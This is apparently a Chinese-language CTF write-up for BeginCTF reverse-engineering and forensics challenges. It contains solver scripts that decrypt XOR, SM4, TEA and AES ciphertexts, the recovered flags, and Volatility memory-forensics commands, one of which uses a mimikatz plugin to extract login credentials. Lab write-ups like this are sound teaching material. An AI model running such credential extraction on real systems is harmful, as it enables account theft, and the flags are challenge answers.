def encryptSM4(self, encrypt_key, value): | |
gmsm4 = self.gmsm4 | |
gmsm4.set_key(encrypt_key.encode(), sm4.SM4_ENCRYPT) | |
padded_value = pad_pkcs7(value.encode()) | |
encrypt_value = gmsm4.crypt_ecb(padded_value) | |
return base64.b64encode(encrypt_value) | |
def decryptSM4(self, key, value): | |
data = base64.b64decode(value) | |
gmsm4 = self.gmsm4 | |
gmsm4.set_key(key.encode(), sm4.SM4_DECRYPT) | |
decrypt_value = gmsm4.crypt_ecb(data) | |
return decrypt_value | |
sm4_instance = SM4() | |
flag = sm4_instance.decryptSM4(key, enc) | |
print(unpad_pkcs7(flag).decode()) |
flag{Pay_M0re_@ttention_to_th3_key!!}
# real checkin xor
签到题,白给
secret = [7, 31, 56, 25, 23, 15, 91, 21, 49, 15, 33, 88, 26, 48, 60, 58, 4, 86, 36, 64, 23, 54, 63, 0, 54, 22, 6, 55, 59, 38, 108, 39, 45, 23, 102, 27, 11, 56, 32, 0, 82, 24] | |
key = "ez_python_xor_reverse" | |
for i in range(len(secret)): | |
print(chr(secret[i] ^ ord(key[i % len(key)])), end="") |
begin{3z_PY7hoN_r3V3rSE_For_TH3_Be9inNEr!}
# arc
或许是我的 pycdc 的问题,这里用 uncompyle6
解会好一点
纸糊的混淆,把前面的数组提出来运行一下就把混淆去了
后面的部分要仔细分析一下,最后加密部分懒得解直接开爆了 hhh
data = [ | |
[1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0], | |
[1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0], | |
[1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0], | |
[1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0], | |
[1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0], | |
[1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0], | |
[1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0], | |
[1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0], | |
[1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0], | |
[1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0], | |
[1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0], | |
[1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0], | |
[1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0], | |
[1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0], | |
[1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0], | |
[1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0], | |
[1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 0], | |
[1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0], | |
[1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0], | |
[1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0], | |
[1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0], | |
[1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0], | |
[1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0], | |
[1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0], | |
[1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0], | |
[1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0], | |
[1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0], | |
[1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0], | |
[1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0], | |
[1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0], | |
[1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0], | |
[1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0], | |
[1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0], | |
[1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0], | |
[1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0], | |
[1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0], | |
[1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0], | |
[1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0], | |
[1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0], | |
[1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0], | |
[1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0], | |
[1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0]] | |
for i, lst in enumerate(data): | |
for j in range(32, 128): | |
n = int("".join([str(x) for x in lst]), 2) | |
if sum((j << 6 ^ 4102 - i ^ key for key in b'beginCTF')) == n: | |
print(chr(j), end="") | |
break |
begin{Y@u_aRe_g00d_aT_play1ng_witH_sNake3}
# stick game
孩子不懂事,瞎调试,控制台里丢代码不小心丢出来的 emmm?
begin{y0u_re4l1y_g07_1337427_2af75ac3d2fe091235f7f012b0a0d95f}
# not main
了解一下 VEH 相关的知识
Handler 里是没魔改的 xxtea,main 里是 xtea,解一下就好了
#include <iostream> | |
#include <cstdio> | |
#define MX (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z))) | |
//tea 解密 | |
void decrypt(uint32_t* v) | |
{ | |
uint32_t l = v[0], r = v[1], i; | |
uint32_t delta = 0x9e3779b9; | |
uint32_t sum = delta * 32; | |
uint32_t k0 = 0x66, k1 = 0x61, k2 = 0x6B, k3 = 0x65; | |
for (i = 0; i < 32; i++) | |
{ | |
r -= ((l << 4) + k2) ^ (l + sum) ^ ((l >> 5) + k3); | |
l -= ((r << 4) + k0) ^ (r + sum) ^ ((r >> 5) + k1); | |
sum -= delta; | |
} | |
v[0] = l; | |
v[1] = r; | |
} | |
int main() | |
{ | |
// xxtea | |
unsigned int v[8] = { 0x0CFBE0F1B, 0x5F3083F, 0x4220E43B, 0x3383AFEE, 0x0FA3237CE, 0x0ECADA66E, 0x0A8D47CA7, 0x0EFC51077 }; | |
unsigned int key[4] = { 0x74, 0x72, 0x75, 0x65 }; | |
unsigned int sum = 0; | |
unsigned int y, z, p, rounds, e; | |
int n = 8; | |
int i = 0; | |
rounds = 6 + 52 / n; | |
y = v[0]; | |
sum = rounds * 0x9e3779b9; | |
do | |
{ | |
e = (sum >> 2) & 3; | |
for (p = n - 1; p > 0; p--) | |
{ | |
z = v[p - 1]; | |
y = v[p] -= MX; | |
} | |
z = v[n - 1]; | |
y = v[0] -= MX; | |
sum -= 0x9e3779b9; | |
} while (--rounds); | |
for (size_t i = 0; i < 8; i += 2) | |
{ | |
decrypt(&v[i]); | |
} | |
for (i = 0; i < n; i++) | |
{ | |
printf("%c%c%c%c", *((char*)&v[i] + 0), *((char*)&v[i] + 1), *((char*)&v[i] + 2), *((char*)&v[i] + 3)); | |
} | |
return 0; | |
} |
# Forensics
# dump dump dump
用 strings
工具,导出 dmp 文件里的字符串
$ strings dumpv1.DMP > dumpv1.txt |
然后搜索 flag
, 可以找到有读取文件的代码,通过搜索变量名可以找到如下的代码
密文可以正则匹配 b'.*'
搜到
func_aes
的第二个参数是 AES 的加密模式,1 对应的就是 MODE_ECB
, key 可以通过 hint 给的 findaes.exe 来获得
a = beginctfisnice.func_readfile("my_first_beginctf_flag.txt") | |
aa = beginctfisnice.func_xor(a.decode(),"PYThoN_For3N5IC$_i5_r3aL1Y_w0nDERfu1") | |
aaa = beginctfisnice.func_aes(aa,1) | |
aaaa = beginctfisnice.func_special_base64(aaa,"ZzYyXxAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWw0123456789+/") | |
print(aaaa) | |
# b'CsQ5vL6LTwtgKyW0bdZKhpN1S/OqiLwI++G1cPD5SfhA0EkXej7RIBk1z9/8mm7fjzE5+THCsGJPOJXRp7JQa18juUtswBQguYi4e2TAHIT=' |
对应着搓代码解密就好啦
from Crypto.Cipher import AES | |
import base64 | |
cipher = "CsQ5vL6LTwtgKyW0bdZKhpN1S/OqiLwI++G1cPD5SfhA0EkXej7RIBk1z9/8mm7fjzE5+THCsGJPOJXRp7JQa18juUtswBQguYi4e2TAHIT=" | |
# base64 变表解码 | |
raw_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" | |
new_table = "ZzYyXxAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWw0123456789+/" | |
trans = str.maketrans(new_table, raw_table) | |
cipher = cipher.translate(trans) | |
data = base64.b64decode(cipher) | |
# AES ECB 模式解密 | |
aes = AES.new(bytes.fromhex("0eeac3e32b31444ab244a415b275b7f7"), AES.MODE_ECB) | |
data = aes.decrypt(data) | |
# 解异或 | |
key = "PYThoN_For3N5IC$_i5_r3aL1Y_w0nDERfu1" | |
for i in range(len(data)): | |
print(chr(data[i] ^ ord(key[i % len(key)])), end="") |
# dump dump dump 2.0
前面步骤跟 dump dump dump 相同,但是这次修改了 AES 的加密模式,改为了 CBC 模式
除了要找到 key 之外,还需要知道 iv, 不然第一个块没法解密
这里有个技巧,我们知道 flag 的前几位是 begin{
, 那么我们就能爆破出 iv 的前 6 个字节
然后拿到着 6 个字节用 010Editor 搜一下,就能知道剩下的 10 个字节了,iv 就有了
key 同样使用 findaes 工具,得到如下信息
key = bytes.fromhex("c4daabe0a20a9e26ef2ba0833b2cc2e7") | |
iv = bytes.fromhex("a2b38779985a25bfec905a67809790ec") | |
a = beginctfisnice.func_readfile("my_second_beginctf_flag.txt") | |
aa = beginctfisnice.func_xor(a.decode(),"How_@8OuT_53CONd_PARt_0F_FoR3n5ICS!") | |
aaa = beginctfisnice.func_aes(aa) | |
aaaa = beginctfisnice.func_special_base64(aaa,"ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/") | |
print(aaaa) | |
# b'NhCMHiPvC2WWk3/OxNU10e8yrNm/mR8t3+9PsE9ALnT2xsGFg/dKVUwoU3Egv0lR' |
照着解密即可
from Crypto.Cipher import AES | |
import base64 | |
cipher = "NhCMHiPvC2WWk3/OxNU10e8yrNm/mR8t3+9PsE9ALnT2xsGFg/dKVUwoU3Egv0lR" | |
# base64 变表解码 | |
raw_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" | |
new_table = "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/" | |
trans = str.maketrans(new_table, raw_table) | |
cipher = cipher.translate(trans) | |
data = base64.b64decode(cipher) | |
# AES CBC 模式解密 | |
key = bytes.fromhex("c4daabe0a20a9e26ef2ba0833b2cc2e7") | |
iv = bytes.fromhex("a2b38779985a25bfec905a67809790ec") | |
aes = AES.new(key=key, iv=iv, mode=AES.MODE_CBC) | |
data = aes.decrypt(data) | |
# 解异或 | |
key = "How_@8OuT_53CONd_PARt_0F_FoR3n5ICS!" | |
for i in range(len(data)): | |
print(chr(data[i] ^ ord(key[i % len(key)])), end="") |
# dump dump dump 2.5
前面步骤跟 dump dump dump 2.0 一样,只是出题人直接把 iv 给删了,先找到关键信息
key = bytes.fromhex("0e805c9b86ff8c94ca68a3a5ad8f2836") | |
a = beginctfisnice.func_readfile("my_second_beginctf_flag.txt") | |
func_xor(a.decode(),"T1me_For_5ecOnD_P4R7_of_thE$E_FOREN$ICs_hoPe_no_fOr3NSC15") | |
aaa = beginctfisnice.func_aes(aa) | |
aaaa = beginctfisnice.func_special_base64(aaa,"ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/") | |
# b'uBLJX+/zmxZn6oKVymM7t4HbVEiBvv7+kFKf/DZNHkQxF1wC0L1f4DmP5O5GO/H2HfrI+W3SdtSGJKSjVM+qO50SSxpVIJ4YTrE2r/V7bj0=' |
这题注意的就是这里是内存的 dump,所以可能存在未解密的块
所以我们先根据 flag 头爆破出 iv 的前 6 个字节,补齐 16 个字节得到 3c473e98356c0000000000000000000
然后按流程到 aes 解密,得到 aes 解密后的前 6 个字节
去 010editor 里搜,得到了第一个块解密后的内容 36 54 0A 0C 31 3D 07 1D 2F 50 3A 37 07 07 37 00
用他当 iv,解密后得到的前 16 个字节就是真实的 iv 了 3c473e98356c7d27f3232c123925f400
这里直接 CyberChef 解一下了,后面的是 padding 填充的字节,不用管他
# beginner_Forensics!!!!
网上找个脚本跑一下就好了
import os | |
def decryption(data): | |
if not (data[0] == 0xFF and data[1] == 0xFE): | |
print('Batch decryption bom error!') | |
return | |
if str(data[2:9], encoding="utf-8") != ' &cls\r\n': | |
print('Batch decryption cls error!') | |
return | |
if str(data[9:60], encoding="utf-8") != '::BatchEncryption Build 201610 By gwsbhqt@163.com\r\n': | |
print('Batch decryption build error!') | |
return | |
vars = {} | |
# decryption line | |
i = 60 | |
l = len(data) | |
while i < l: | |
i = run(vars, data, i) | |
def run(vars, data, i): | |
buf = '' | |
f = 0 | |
t = 0 | |
x = False | |
l = len(data) | |
while(True): | |
if data[i] == 0x0d and data[i+1] == 0x0a: | |
i += 2 | |
break | |
# get %var:~x,y% %0 | |
if data[i] == 0x25: | |
if not x: | |
x = True | |
f = i | |
else: | |
x = False | |
t = i | |
rst = var_percent(data[f:t+1], vars) | |
buf += rst | |
else: | |
if not x: | |
buf += str(data[i:i+1], encoding="utf-8") | |
else: | |
if (f + 1 == i) and ((data[i] >= 0x30 and data[i] <= 0x39) or data[i] == 0x2a): | |
x = False | |
t = i | |
rst = str(data[f:t+1], encoding="utf-8") | |
buf += rst | |
i += 1 | |
if i >= l: | |
break | |
print(buf) | |
bufs = buf.split('&@') | |
for var in bufs: | |
if var[0:4] == 'set ': | |
var = var[4:] | |
b = var.find('=') | |
vars[var[0:b]] = var[b+1:].replace('^^^', '^') | |
return i | |
def var_percent(data, vars): | |
full = str(data, encoding="utf-8") | |
buf = full[1:len(full)-1] | |
buf = buf.split(':~') | |
var = buf[0] | |
if not var in vars: | |
vars[var] = os.getenv(var) | |
ent = vars[var] | |
if (len(buf) > 1): | |
l = len(ent) | |
buf = buf[1].split(',') | |
f = int(buf[0]) | |
t = int(buf[1]) | |
if f < 0: | |
f, t = l + f, t | |
rst = ent[f: f+t] | |
else: | |
rst = full | |
return rst | |
encrypt_file = 'forensics' | |
if __name__ == '__main__': | |
try: | |
file = open(encrypt_file, "rb") | |
data = file.read() | |
except Exception as err: | |
print('Batch decryption read error:', err) | |
exit | |
else: | |
file.close() | |
decryption(data) |
# 逆向工程 (reverse) 入门指南
pdftotext 转一下,打开就有 flag 了
$ pdftotext beginctf_逆向工程_入门指南.pdf beginctf_逆向工程_入门指南.txt |
# 学取证咯 - cmd
$ vol.py -f 学取证咯.raw imageinfo | |
... Win7SP1x64 ... | |
$ vol.py -f 学取证咯.raw --profile=Win7SP1x64 cmdscan |
# 学取证咯 - 还记得 ie 吗?
$ vol.py -f 学取证咯.raw --profile=Win7SP1x64 iehistory |
# 学取证咯 - 计算机的姓名?
$ vol.py -f 学取证咯.raw --profile=Win7SP1x64 printkey -K "ControlSet001\Control\ComputerName\ComputerName" |
# 学取证咯 - 想登录我的计算机吗?
使用 mimikatz 插件
$ vol.py --plugins plugins/ -f 学取证咯.raw --profile=Win7SP1x64 mimikatz |
# 学取证咯 - 机密文件
filescan 扫描到桌面有个机密文件.docx,dump 下来打开就是了
# 学取证咯 - 真的是取证吗?
桌面有个 flag_is_here.exe, dump 下来,ida 搜 flag 找到关键函数,发现就一个简单的异或
FLAG_KEY 不知道,直接根据密文的第一位和 flag 的 f 异或,得到 key 为 121
data =[31, 21, 24, 30, 2, 32, 73, 15, | |
74, 38, 21, 74, 57, 11, 23, 74, | |
29, 38, 17, 73, 15, 15, 38, 13, | |
73, 38, 31, 73, 11, 74, 23, 76, | |
16, 26, 76, 4] | |
for i in data: | |
print(chr(i ^ 121), end="") |
# 饥渴 C 猫 is hacker!
payload.bin 是使用 USB Rubber Ducky 编译 DuckyScript 后生成的文件
github 找到解析工具 Duck-Decoder
解析 payload.bin 就能看到 flag 了